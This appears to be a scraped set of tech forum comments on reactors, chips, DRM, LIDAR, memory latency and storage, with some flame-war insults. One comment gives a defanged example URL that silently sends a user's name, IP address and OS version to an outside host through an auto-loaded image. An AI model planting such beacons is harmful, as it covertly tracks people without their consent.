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Stacking dies is not a new concept. It isn't even new practice. Apple has been doing this with their mobile processor SoC (A8, A9, etc.) for years. (And they were hardly the first to do this.) The processor die is the bottom of the stack. The RAM die is stacked on top. This works out pretty well, since hardly any of the "pins" for the RAM need to be broken out of the package - nearly all of them go to the processor, so the finished package can actually have fewer pins overall than a standalone processor.

Actually, there seems to be a fair amount of helium on the moon. https://www.extremetech.com/ex...

As for thorium it was a great idea in the 50's if we didn't want to have MAD but we chose Uranium and the thorium fuel cycle does not provide anyway (that I have seen) to deal with the existing waste problem we have with Uranium and plutonium

There are proposals for waste burning reactors

https://www.theguardian.com/en...

A plan to burn Britain's radioactive nuclear waste as fuel in a next-generation reactor moved a step closer to reality on Monday when GE-Hitachi submitted a thousand-page feasibility report to the UK's Nuclear Decommissioning Authority (NDA).

The UK has a large stockpile - around 100 tonnes - of plutonium waste. This is considered a security risk and the government is considering options for its disposal. The current "preferred option" is to convert the plutonium into mixed-oxide fuel (Mox) for use in conventional nuclear reactors.

But a previous Mox plant in the UK was deemed a failure, and GE-Hitachi claims that its Prism fast reactor - a completely different design fuelled by plutonium and cooled by liquid sodium - offers a more attractive solution.

One of the potential benefits of fast reactors is that they could extract large quantities of energy from nuclear waste. In February, David MacKay, the chief scientist at the Department of Energy and Climate Change (Decc) told the Guardian there was enough energy in the UK's waste stockpile to power the country for more than 500 years.

The NDA initially dismissed fast reactors as being decades from commercial viability. But after the Prism proposal was submitted by GE-Hitachi, the NDA agreed to review the evidence. Monday's report - a summary of which has been seen by the Guardian - is designed to persuade the NDA that the Prism is technically credible and commercially attractive.

And there are proposals for molten salt waste burners too

https://www.extremetech.com/ex...

Not thorium based, but it is based on molten salt, the same as a LFTR.

Nuclear power was the resurgent darling of the energy industry just a few years ago as concerns over global warming mounted. Then there was the disastrous meltdown of the Fukushima Daiichi plant in central Japan, which will continue to affect residents for years to come. In the wake of this event, nuclear plants in Japan and Germany were completely shut off and plans to expand nuclear power around the world were shelved.

A few companies have continued pushing safer forms of nuclear power in a smaller form, and now one of them is getting the finding to make its plans a reality. Transatomic Power has just picked up $2 million from Founders Fund to develop a custom molten salt reactor that can eat nuclear waste.

It's definitely worth funding pilot projects for this sort of thing. Potentially you could get rid of waste and produces non negligible amounts of energy doing it.

Obviously you don't know how they are constructed.

Another one just came on line again... in the U.S.

There have been SIX thorium-fueled reactors in the United States, and all were at least limited successes. The main reason they were not continued is that there was more established technology in the uranium-plutonium fuel-cycle reactors.

Just more of your famous willingness to pontificate on things about which you are not quite up to speed. No surprise. I haven't been around here for a long time, but it didn't take you long at all.

There are 3 possibilities here. 1. Apple performed the calibration 2. someone else performed the calibration and display mate is wrong 3. someone else performed the calibration for Apple but display mate still credit them as the integrator

No there are than 2 possibilities here that are important. DisplayMate is right or they are wrong. Since they are in the businesses of displays it makes it their business to know about such things. You can believe them or not. It appears that you decide not to believe them because of your deep denial.

I am not denying any of the above 3 is possible. You are denying 2 and 3.

I have never denied 2 out of 3. Please show me where I said it. I said it's fairly standard for Apple (and any manufacturer) to do their own calibration on a part they buy. It's part of QA. Here's where your thoughts are completely one-dimensional: Parts vendors do their calibrations, too. But nothing precludes the buyer from doing one too. Comparing both vendor and buyer calibrations might pinpoint any problems that arise in shipping. For this case, shipping may not affect the readings; but in general how a part gets jostled and abused during shipping might affect the part.

Yes, I do. Please read the words you just quoted again. It,s one thing to misread. But it's another to make a point out of it over and over again. You are pathetic

Oh I did get that wrong. But you are still claiming that calibration isn't that important right?

A professional monitor has many different characteristics.

No. The one factor that makes a monitor "professional" has always been color accuracy.

The first 4k monitors may have been professional ones.

Not factually true The first 4K monitor was consumer not professional probably because I'm guessing the color accuracy requirements for the professional would have been hard to do at the time.

So at that time, the only way to get that resolution was to get a professional monitor

So what? That wasn't your point. Your point was that someone would get a professional monitor for the resolution not the color accuracy. Your point wasn't at the early days of 4K, a person would get a professional monitor just for the resolution.

That's because the scale is a measuring tool. A display is not a measuring tool. Anyway if you are testing a scale, you won't be calibrating it. You'll make sure (test) that it was properly calibrated. The calibration of the scale should happen during production, before QA.

Bahahaha. You are testing the function of the display to make sure it passes a specification but you're not going to calibrate anything to make sure your results are solid? There will be multiple calibrations done. Some will be done on the instrumentation. Like I said above: you can test the display before you calibrate it but the "before" results are not as important as the "after". It has to meet specifications after calibration not before.

No. It was your assertion that they know because it's their business to know. I simply replied with the fact that it's not their business. I never claimed that they can't know because they rate displays.

Besides the part where you said: "I disagree It's their business to rate displays." Denial?

Yes I know that. You didn't seem to know however.

And yet you said the opposite: "Checking whether it meet the specs isn't the same thing as calibrating. " Denial?

Well you inferred it. As every display is different. Calibrating one out of two would be useless, an

In B) they want price per watt. Intel has done much better than AMD on price per watt. AMD hasn't had a server chip in 6 years.

Lower your fanboy ranting a level.

I prefer Intel CPUs and NVidia GPUs given a choice.

What I said is true for x64.

https://www.cnet.com/au/news/a...

The lawsuits started in 1987. Rich Lovgren, former assistant general counsel for AMD, recalled that AMD founder Jerry Sanders sat through "every second" of one of the trials. "There were certainly bridges that were burned," he said.

Under the terms of the settlement, both companies gained free access to each other's patents in a cross-licensing agreement. AMD agreed to pay Intel royalties for making chips based on the x86 architecture, said Mulloy, who worked for AMD when the settlement was drafted. Royalties, he added, only go one way. AMD does get to collect royalties from Intel for any patents Intel might adopt.

AMD also agreed not to make any clones of Intel chips, but nothing bars Intel from doing a clone of an AMD chip, Mulloy added.

While the terms may seem one-sided, AMD has benefited from the agreement as well. Without the clean and enforceable right to make x86 chips granted by the agreement, AMD would not have been able to produce the K6, K6 II, K6III, Athlon, Duron, Athlon 64 or Opteron chips without fear of incurring a lawsuit.

Intel probably doesn't have access to the graphics patents AMD picked up when it bought ATI though. There were rumours it would licence them which it denied.

https://www.extremetech.com/ex...

Intel, however, has reached out to put the kibosh on such rumors. In a statement sent to Barrons, Intel stated, "The recent rumors that Intel has licensed AMDâ(TM)s graphics technology are untrue." The company has said that further information will not be provided.

Of course if it buys AMD GPU dies and puts them in the same package as Intel chips it doesn't need to licence all AMD's graphics patents, just agree on a price for the dies. It also doesn't need to hire a bunch of GPU engineers to reinvent a GPU based on AMD's technology. Intel have a rather poor record of performance GPU design. E.g. the last discrete Intel GPU was the disappointing i740.

And AMD have a pretty good record in building embedded GPUs for the PS4 and Xbox One.

I.e. it all makes sense. Intel and AMD don't need to agree on a licence fee for all AMD's graphics patents. Intel doesn't need to design a discrete GPU. AMD can just sell dies to Intel. Intel gets access to console or better class graphics, gets to show off its EMIB technology and can probably sell the resultant module to people like Apple. Intel and NVidia can continue to glare at each other.

No, you really don't have to do anything "assistive", it's just that Microsoft has left the door open because they promised to keep it open longer for people who actually need assistive technology.

You just need to go to Microsoft's site and download Win 10. Details here

Apple isn't designing a radio chip (yet).

That's the rumor, anyway (to be taken with a large grain of salt, of course).

Fair points regarding the SoC work. If you buy directly from Qualcomm, and Qualcomm says "we only sell this SoC with a modem onboard", then you're kind of stuck. If Apple goes through with designing their own, though, and offers it out under RAND, then that could be an enormous bargaining chip for Samsung down the road.

Everybody would not be needing to comb over minute pieces of data and vast esoteric computations if service providers had behaved better.

The satellite service was capable of gathering the gps data from the plane instantaneously and throughout its flight path. But the satellite company was charging for it, and Malaysian authorities did not want to pay for it presumably because it cost too much.

If the gps location service had been available for this flight, one can't help but wonder if there was a possible intervention that could have been undertaken when the plane would have been discovered wildly off course, and even though it appears the crash was not survivable, the quick crash site discovery and possible apprehension of possible criminals involved (if there are any).

As it is, everybody was chintzy all the way around at the expense of the safety of the flying public.

It seems to me that poor communication discourages people from being interested in Physics. "The Universe should not exist" is clickbait dishonesty by the media.

Read the scientific article, A parts-per-billion measurement of the antiproton magnetic moment. There is nothing dishonest.

It would have been far better to explain the conflict being observed and acknowledge that not much is known in that area of interest. It is FAR too early to draw conclusions.

What the CERN scientists may have discovered is that the "basic assumptions of the standard model of particle physics" are incorrect.

More clickbait dishonesty:

CERN Antimatter Experiment Suggest the Universe Shouldn't Exist

CERN Research Finds "The Universe Should Not Actually Exist"

The Universe Should Not Actually Exist, CERN Scientists Discover

CERN Scientists Find Further Evidence That the Universe 'Should Not Exist'

The universe shouldn't exist, scientists say after finding bizarre behaviour of anti-matter. Quote: "We don't know why the universe isn't destroying itself." That is at least in the direction of being honest; we don't know why.

I'm guessing that media writers didn't want to try to understand the actual issues, so they all adopted one writer's wild exaggeration.

I see NO evidence that anyone at CERN is dishonest. The dishonesty seems to be only in media reports.

but I don't see them declining

Is that the good news?

It all depends on what you compare it to: https://www.extremetech.com/co...

Some security companies are being told to only provide U.S. products

Given the choice between Kaspersky and the FSB vs Symantec Endpoint Security, I'd feel better protected by Kaspersky + FSB.

True, I was really pissed when Arris and Symantec activated SEP without my permission, and wouldn't allow me access to the internet unless I clicked to allow them access to the kingdom.

Took a few phone calls to both to clear that up.

But protection isn't the issue here with Kaspersky.

So what we have is the idea that Kaspersky is great, and all of the concerns about it are lies. That Israel is lying, the USA is lying, that the owner who is/was KGB and other executives who are FSB at Kaspersky are an exception to the rule that once you are in that world, you never leave that world, and that when you give a program where you give the providers of the program the keys to the kingdom, that given the background of th eactors, that they won't exploit what you gave them permission to exploit? https://www.extremetech.com/in...

It all boils down to a matter of trust. I take it that you trust the Russians and the FSB/KGB much more than you trust anyone in the USA? I surely don't, and the concerns about Kaspersky have been around a lot longer than Hillary's emails.

The bottom line is we are on a slippery slope, losing our rights inherent in ownership itself.

Who is Apple to tell me what to do with a product that I purchased? Nikon does not sabotage the competition by embedding DRM into its lenses. Apple was intentionally breaking the phones when original parts weren't detected. By breaking, than fixing the problem, the evidence clearly indicates that Apple intended to interfere with a transaction between the owner of a product and third party support. At minimum, Apple's apparent sabotage should be investigated as monopolistic anti-competitive behavior.

HP was (?) doing something similar recently with ink cartridges. Are you telling me that they can force me to buy HP paper and ink forever simply because I purchased an HP printer?

What right does a company have to use software to force me to purchase overpriced replacement parts for their products that I already own? The last time that I checked, all of my vehicles don't brick themselves when Fram oil filters are installed. Then again, I don't own a John Deere tractor.

Maybe it is, but it may also be a suitable alternative to ads for some people... For example, my main objection to them is not that use up my computer's resources (indeed, AdBlock often takes more ) — it is the screen real-estate, that the ads occupy. (And the incessant blinking of some of them.)

So, in exchange for accessing the content, I may be willing to let my computer do some coin-mining for the authors.

Police in public places limited to things they can see and hear, even with amplified means, does not require a warrant.

reasonable expectation of privacy (as deemed by a judge if push comes to shove). If you're in public, you don't have that. If you're in your own yard behind your own fence with no-one in sight, or in your own closed house with no open widows, it doesn't matter if the cop is in a "public place" and uses a spy satellite or a device that tracks you through a wall. That's invading your privacy. And if they don't need a warrant to violate that privacy, you can assume that they'll have continuous surveillance of everyone at all times.

Personally, I think there's a sociological basis for the "right to anonymity". Like let's say it'd be a fine to dox someone or call someone out in a crowd. But that leads to a big rats nest of legality and enforcement, so it's probably not going to happen.

You seriously underestimate the computational capacity of the human brain. You may want to read this and this. Wake me up when we have computers which are capable of performing 1exaFLOP at 20W power budget.

* It's expensive. Google, after years of work, got the price down to a "mere" $7500, instead of the original $75k. Tesla uses cameras, radar and ultrasonic sensors, all of which are cheap.

It's about to be cheap.

* It's awkward. You have to have a bulky dome sticking out of the top of your car, not only making it ugly, but also ruining your airflow.

OSRAM's new sensor is small enough to be installed behind the grille.

* It can't see in situations humans generally can. For example, humans drive in fog and snow. LIDAR-based cars generally can't. So do you tell humans that they can't go anywhere then? Or that they have to drive themselves?

The answer is to use a combination of sensors; LIDAR yes, but also RADAR, and both visible light and infrared light vision systems.

* You have to process visual data regardless. LIDAR can't read signs. Road markings. Colours. Brake lights. It can't tell you whether something is a paper bag in the road or a large rock. All it gives you is a 3d map; that map still requires interpretation. So either way you still need what Tesla is doing; LIDAR just builds better maps than photogrammetry.

Millimeter-wave RADAR can tell you whether something is a paper bag in the road, or a large rock. Granted, you could probably fool it by painting a large rock with radar-absorbing paint, but that's obviously an extreme example. Someone who can go to that much trouble can find other ways to destroy your vehicle.

Anyway, TL;DR: LIDAR is about to get a lot cheaper, and Google wasted their money. Suckers!

Or Google can ask the providers why Windows gets a pass.

Probably because it's easier to upgrade a random PC to the latest build of Windows 10 than to upgrade a random phone to the latest build of Android. This allows app developers to exclusively target a new feature update (such as Anniversary, Creators, or Fall Creators) where known holes in Protected Media Path and other digital restrictions management technologies in Windows 10 have been plugged.

And no, Windows doesn't necessarily get a pass. No app (legally) plays UHD Blu-ray movies on Windows on a PC with a CPU older than Kaby Lake or an operating system other than Windows 10. You may also need to replace your motherboard with one that supports Intel SGX and your video card with one that supports AACS 2.0 and HDCP 2.2. (Source) Movie studios have put similar requirements on 4K streaming. (Source)

Or Google can ask the providers why Windows gets a pass.

Probably because it's easier to upgrade a random PC to the latest build of Windows 10 than to upgrade a random phone to the latest build of Android. This allows app developers to exclusively target a new feature update (such as Anniversary, Creators, or Fall Creators) where known holes in Protected Media Path and other digital restrictions management technologies in Windows 10 have been plugged.

And no, Windows doesn't necessarily get a pass. No app (legally) plays UHD Blu-ray movies on Windows on a PC with a CPU older than Kaby Lake or an operating system other than Windows 10. You may also need to replace your motherboard with one that supports Intel SGX and your video card with one that supports AACS 2.0 and HDCP 2.2. (Source) Movie studios have put similar requirements on 4K streaming. (Source)

Threadripper de-lidded. Two are filler blanks, two are the 4+4 cores of the 1900X. Idiots and idiot mods, this place has really lost it.

I think I had read that Apple is locked into a deal with Intel for several more years, so I wouldn't expect to see any AMD processors soon.

I suspect that in the long run, Apple's plan is to replace Intel with their own custom chips. Their recent ARM SoCs don't clock as high as Intel chips, but they have been able to achieve similar performance per clock in many areas.

It's probably still a few years before they make the move to their own chips, but it seems like that's where they're going. This seems even more likely as the amount of performance needed for consumer PCs is going to remain relatively fixed while improvements in chip design and fabrication processes make it economically possible for Apple to use their own SoCs in their notebooks or desktops even if they can't compete with the most powerful high-end Intel or AMD chips.

Perhaps Apple will start designing products intended for the professional market that still use those high-end CPUs from Intel/AMD, but most of their customers don't require that level of power and it's probably much more cost economical for Apple to use their own custom chips, especially if they have lower power draw for similar levels of performance.

If it is something you can fix yourself in software then it's not a hardware failure

That's completely untrue if the "fix" is just disabling the non-working part. That's not hyperbole: that's not an exaggerationthat happens a lot. So say you pay $1000 for a CPU with lots of FLOPS you use for machine learning stuff. It turns out that the CPU is very unstable when crunching lots of numbers, so a new stability patch comes along that disables half the FPU. Voila, your computer stops crashing now! Of course your workload runs half as fast now, but at least it's stable!

If "fix" means "coerce into working at full spec", then I'd agree with you. Too often that's not at all what it means, though.

Dead on, especially considering solar plants have the habit of producing a fraction of the intended output. With the death of VC summer, we face a hard slog in the US to get away from fossil. Now, we do have Net Power being developed, which is a truly clean fossil process developed by CB&I. This is something that is a short term gap until we work on better renewables and nuclear (you know, Westinghouse finishes the AP1000 design so someone can complete Vogtle and VC Summer for example - who the hell builds a plant as it is being designed).

Then, last September, there was this article which says Netflix hasn't decided. They say HEVC saves them 20% of storage space versus the equivalent VP9 encode; but on the other hand VP9 saves them royalty payments.

Well, it's telling that you posted this Anon...COWARD. (Yeah, yeah, the irony of posting the reply as Anon has NOT been lost on me- BLOW ME.)

1) It's not die-cast idiot. It's sintered. There's a deep and fundamental difference there, not that I expect such a syphilitic monkey as yourself to "get" that. Die Cast equates into several differing alloys, including the stuff we used to call "pot metal" which was a cheap, weak alloy.

Here... Here's an example of "sintered" for your pitiful pea bran to maybe comprehend...

http://www.ames-sintering.com/products/self-lubricating-bearings/

Ouch...that's a primary, heavily used part that doesn't have failures like what you spooged on /. with (Not that I should be overly bothered by this...even though I am... It IS /. after all...)

2) It's a simplified version of the process they already use for prototyping things...

https://en.wikipedia.org/wiki/Selective_laser_sintering

3) They've already printed a functioning Model 1911 .45 ACP using this other process...

https://www.extremetech.com/extreme/170574-the-worlds-first-3d-printed-metal-gun-is-a-beautiful-45-caliber-m1911-pistol

I'd call you dumber than a bag o' hammers, but I don't want to insult the bag OR the hammers...you're this fucking stupid.

I think you meant to be funny, but it is possible to come full circle on this one.

NASA's Vacuum Tube Transistor

GIGABYTE GeForce GTX 1060 DirectX 12 GV-N1060G1 GAMING-3GD 2.0 3GB 192-Bit GDDR5 PCI Express 3.0 x16 ATX Video Card
https://www.newegg.com/Product...
$245

But according to several sites a 1050ti would be fine too if you accept running with lower settings..

For $210 you can get a cheap base system.
Case $33 - https://www.newegg.com/Product...
MB $45 - https://www.newegg.com/Product...
CPU $70 - https://www.newegg.com/Product...
RAM $53 - https://www.newegg.com/Product...
HDD $6 - https://www.newegg.com/Product...
Total: $207
Total including the GTX1060 - $452

This was just a really quick search .. You can get lower with same or better spec's if you shop around..

But you also need to consider comparing systems on an equal level... 4k gaming on XBox/PS4 is not always "real".. PS4 Pro does some sort of upscaling to make it look better.. XBox has other issues.. Feel free to have a look at the links below.
https://www.extremetech.com/ga...
http://www.wired.co.uk/article...
http://wccftech.com/elite-dang...

So... It's a huge difference in comparing 4k gaming on a console and a PC.

Bzzt, wrong.
https://www.extremetech.com/ex...

On August 18, VW finally admitted to CARB that it had been lying about the cause of the emissions issues for nearly two years. Over the next few weeks, more than 40 employees at VW and Audi destroyed thousands of documents, limiting the ability of investigators to understand how decisions were made and who was responsible for them. As of this writing, VW has paid out more than $22 billion in fines and legal settlements related to its lies, vastly more than it would’ve cost to equip its vehicles with adequate air quality control systems in the first place. VW recently began selling diesel cars in the US again, and such sales represented 12 percent of its total vehicle sales in April, down from a high of ~25 percent in the years before the scandal. It is not clear if demand for diesels in the US will recover. Clearly the cars are still enticing to some buyers, but VW’s brand took a substantial beating throughout this process.

It should be noted that the feds only fined VW about 1.8 billion. Most of that fine came from individual lawsuits and state lawsuits, especially Califonia. You do not fuck with CARB.

I believe the real reason is Microsoft's plan to offer Real Windows on new ARM processor machines via x86 (32-bit) emulation. See https://www.extremetech.com/co... Microsoft can't let 32-bit die less this new emulation project become become another Windows RT. Perhaps this will change if and when they can emulate 64 bits...

IMHO what is mostly needed is faster memory. Modern ML often involves working with multi-Gigabyte domain models, stored in DRAM, where the access latency hasn't changed particularly in the last 10 years.

You should write advertising copy.

What is needed is faster relief. We've improved the package perforation. Now rips open 2x faster!

Faster has many dimensions, yet you fixate on just one. It turns out, however, that slapping you down was a royal PITA: all of the vendors involved in HBM{1,2,3} pony up sweet-shit-all concerning latency (wanted: an edible, colour-coded haymark).

Finally I found this comment by one Tuna-Fish from 2010:

Memory latency of many devices using GDDR5 (like GPUs) is a lot higher than on the typical device that uses DDR3, but this has nothing to do with the RAM, and everything to do with the controller.

Basically, GPUs can expect to see a lot of accesses to addresses reasonably close to each other (like reading color values out of a texture) in a relatively short time, and the devices are typically good at finding other work to do while waiting on memory accesses. Because of this, and the fact that larger transfers are more efficient, GPUs tend to delay initiating transfers a bit to wait for opportunities to combine them.

It's entirely possible to have a memory controller that does this to GPU-like transfers and doesn't do it to CPU-like transfers.

I'm not the only frustrated person.

* AMD's upcoming Fiji GPU will feature new memory interface — Joel Hruska, 30 April 2015

Bandwidth, however, is just one characteristic of memory performance. Latency is equally important, but data on HBM latency compared with GDDR5 is much harder to come by. The implication, if I've read the various slide decks and data sheets correctly, is that HBM latency should be modestly better than GDDR5's — but possibly not by much. Certainly it won't improve by anything like the bandwidth jumps we're going to see.

The gist of the fragments I managed to find is that HBM latency is roughly on par with the concurrent GDR generation, and this is—in most controllers—actually worse than the concurrent DDR generation, hence the industry-wide light-lip syndrome.

Only that's not the whole story. Because HBM has more channels than GDR and allows more pages to be open concurrently. For a sufficiently parallel workload, HBM latency as a function of bandwidth can be excellent compared to the alternatives.

And certainly the thermal density is yards superior. Which is itself interesting, because you hardly ever see plots pitting latency against J/bit-ns. Awesome! A brand shiny new thermal wall. Physical distance, aka latency, actually functions as an implicit thermal spreader, and this goes away when the engineers get too pie-eyed over rail-gun-drone–accelerated rolling drive-thru nirvana (recommended: a Kevlar fish net on a titanium pole, and a Quick eye).

A Study of Application Performance with Non-Volatile Main Memory — Yiying Zhang (2015)

The fastest of the prospective non-volatile technologies (which are thermally desirable due to lack of refresh) is NRAM.

Fast NRAM to be released 2019-epsilon by Nantero/Fujitsu — August 2016

It actually has the endurance to be used as an on-chip SRAM replacement with eDRAM access times, but I don't know whether joint fabrication with CMOS is viable (in particular, at the high end). Note that ultimate durability is as yet unknown, because their 10^14-cycle test bench is taking a while to return 0/1.

[*] I wou

Now we'll see if AFRINIC, the internet registry, is more than hot air.

"No IP addresses for governments that shut down internet access," they said. If you cut access or start censoring feeds from tools like Google, Twitter, and Facebook to deny their citizens access, the infringing government could find themselves refused new IP addresses. Well, this seems exactly what Britain seems to be thinking of doing. They say that the Internet views censorship as damage and routes around it; is it time to start routing around the UK?

Okay, technically, this was a measure that was to be considered in June. However, the proponents of the measure really should speak up about it now. The Manchester attacks were terrible but the Investigatory Powers Act is even scarier.

AC is being sarcastic. For the willfully ignorant/forgetful out there

You're
still
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safe.

Right, because government regulation is always good?

Right, because corporate greed is always good? Especially in a monopoly (or close to it) scenario?

Moderation in all things. Too much government is bad. Too little government is also bad.

provide any evidence of their fears actually coming true?

https://www.extremetech.com/computing/186576-verizon-caught-throttling-netflix-traffic-even-after-its-pays-for-more-bandwidth There's one instance. There are plenty of others, though few are as news-worthy as Verizon fighting with Netflix -- we all like to watch the heavyweights battle it out.

That said, we probably won't see anything super blatant in the next month or two though -- that would be too obvious. They'll need some time to gloat about how they kept their promises and let the populace forget about the issue before they start breaking those promises. I expect that, provided the title II is revoked and no new regulations are created to replace it, we'll start seeing the evidence you want in a year or two.

I don't know if you'd consider it "proof," but here's an article describing at least one instance: https://www.extremetech.com/computing/186576-verizon-caught-throttling-netflix-traffic-even-after-its-pays-for-more-bandwidth

Net neutrality died when this happened: https://www.extremetech.com/wp...

A while ago.

Don't try to blame it on now.

Elbrus may be? https://www.extremetech.com/co...

I learned a lot about DRM from this website when I was much younger. It has only gotten worse since then, with DRM infesting not just DVDs etc but now John Deere tractors, which are hostile architecture black boxes preventing farmers from optimizing their super expensive machines. So there is no free software or open secondary market for GPS data gathered (i.e. something that would sense micro conditions and efficiently apply another tech). This is hugely dangerous to the human race at large since we are dependent on the tractors for survival. I would argue it ought to be one of the biggest deals to face. If something goes wrong with John Deere we skid right back to sticks rather easily.

https://www.wired.com/2015/04/...
https://www.extremetech.com/co...
http://boingboing.net/2017/03/...
"Now, farmers find themselves in desperate straits. Not only does Deere gouge them on repairs ("$230, plus $130 an hour for a technician to drive out and plug a connector into their USB port to authorize [a user-swapped] part"), but the repair shops can be far away or busy, and thus a half-million dollar tractor can sit immobilized while a farmer frets about getting his crops in."

https://www.ifixit.com/Answers...
http://www.npr.org/sections/al...
http://freeknowledge.eu/campai...
Totally unacceptable situation here.

Descriptors aside, he said try for first and for sure achieve in second. That is very possible.

Trump was an idiot for not understanding why it can't be done in 4 years...It's not just a matter of money.

Even as far back as 2009 it was just a matter of money. Yes, it is one of those problems you can solve by throwing lots of money at it. Even SpaceX's timeline is within the possibility of Trumps albeit a little late. Yes, there are challenges but you haven't really said anything that could stop NASA from achieving that goal if money was supplied and direction given by their boss (Trump). Whether you would want to spend that money is the question.

Why is it that SpaceX can do it and not NASA? Why is it that for nearly a decade the only constraint to getting to Mars was money but now it's different? Why is it that Trump parading what Musk is basically trying to do is Trump being an idiot and not understanding the challenges? Does that mean Musk doesn't understand the challenges for such an aggressive timeline?

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Have you only recently followed news about space and Mars because your obsessed hatred of Trump?

That we are already overcoming some of the challenges of current "Resistor" based circuitry. https://www.extremetech.com/ex... - If you think that these technologies wont eventually bear unexpected fruit, then you have underestimated the human power of invention. If you still see limits, you simply have not been paying attention for the past 400 years. History says it all. There is no engineering problem we cannot eventually conquer. This is no different. The only real factor is, How long will it take, and how close are we now....

Sounds a little more fancy in the implementation, but using wifi as a passive radar isn't a new idea.

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No? All it has to be is an external image URL.

hxxp://CIAFRONTWEBSITE .GOV/username=X&IP=Y&OSversion=Z&....

Obfuscate that enough and put it someplace that Microsoft Office auto-loads and bammo. Instant tracking, no software needed. This is Spam Email 101 tactics here.

Hell, it's the same trick they used (via a broken flash plugin) in Operation Pacifier to figure out who was connecting to the FBI's child porn server on TOR. You know, the operation that caused them to repeal the 4th Amendment for anyone using a computer that has TCP/IP installed?

It makes iPhones look red....

Actually it makes everything look red.

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When you consider what types of parts that can be made from printing in metal, they parts quite likely come out stronger than milling because it isn't possible for any shape to be milled. Also consider that not every part needs to be structural, and those that are, if the raw material isn't as strong you can re-design the part to be bigger. Since titanium is lighter than steel, you can have a bigger part and still come out with lower weight. NASA uses it as does GE.

It sounds like Google is seriously working on improvements for Superbooks, desktop docks, and similar arrangements where the phone takes on PC-like properties. I have been using my S7 with a keyboard/mouse and a DisplayLink adapter for a short while, and the two problems that plague it, besides poor video framerate, are the inability to operate the displays at different resolutions, and the awkward UI design/keyboard bindings that were clearly not designed for desktops. What Google is doing makes perfect sense to me.

Perhaps we are about to see a spate of laptop/desktop-like Android products, for which these changes are needed?

A archival optical format. M-DISC DVDs and Blu-ray are theoretically able to retain data for 1000 years. And DVD uses some error correcting codes already, Reed-Solomon I believe.
An SSD is a bad choice for archival, in some cases MLC Flash can decay and accumulate errors in 3 months while unpowered.
For a file system that is likely to be understood in the distance future, ISO 9660 with no file larger than 2 GiB should do the trick.
Packing your data into a custom archive file format that has more sophisticated forward error correction, like Turbo Codes, could be useful although perhaps inconvenient if you need special software to decode the files.
Keeping file of hashes (MD5, SHA1, crc32, cksum, cfv, whatever) for file integrity verification is very helpful for verifying if you have bit rot. As I've found most proprietary file formats cause programs to crash when they are corrupt.

Making N copies of your data and sending the discs to N destinations would allow you to recover most instances of partial data loss among all the discs, and total data loss of N-1 discs. I think N=2 or N=3 is plenty of paranoia without much overhead for an individual.

For short term, just throw it into the cloud. If your local backup

NOTE: in 100-1000 years, people interested in old data won't need an off-the-shelf DVD drive to read the data off a DVD, any researcher should be able to construct a purpose built drive. I mention this because USB, SATA and PATA won't be around as standards and the old electronics won't likely work reliable anyways. Even today, I think building a device to read a CD or DVD is within reach of a clever teenager.

Even flash memory improvements seem to be slowing down, but that may be that demand is huge and increasing.

No, charge storage scales even worse than switching—and everyone agrees. Flash has recently been kept on life support by staggering efforts in bit-error management.

Thus all the research funds right now (ST-MRAM, carbon nanotube NRAM, STT-RAM, CBRAM, not to mention Intel's new TMium) are being funneled into bulk resistive technologies, such as the chalcogenides.

The charge bottle is dead. Long live the fickle dendrite!

The problem with silicon was written about extensively in 2016 (this only a decade after the frequency free-lunch had already ended, and five years after the power-scaling free-lunch started being served up in Continental-breakfast portion sizes).

TSMC Plans New Fab for 3nm
Focus Shifts To Architectures
ITRS roadmap predicts end of process miniaturisation by 2021
Transistors Could Stop Shrinking in 2021
Alchemy Can't Save Moore's Law
Will 5nm Happen?
TSMC will begin 10nm production this year, claims 5nm by 2020

TSMC remains strangely bullish, but you also need to realize that line size is not what it used to be. It used to be they pretty much shrunk the entire lithography. Now they shrink what they can shrink, and then define the new lithography based on the skinniest resulting body part (problem: what's left to measure after the wrist? answer: a Taiwanese wrist).

> No they are not. "Moors Law" stopped a decade ago, probably 2 decades.

Uh, no, it sure didn't.

From Samsung perspective even with the verdict it was worth it since it made them the #2 smartphone seller at the time.

Common misconception. Apple was never #1. Nokia was #1 all the way until 2011, when Samsung overtook it.

secure your shit.

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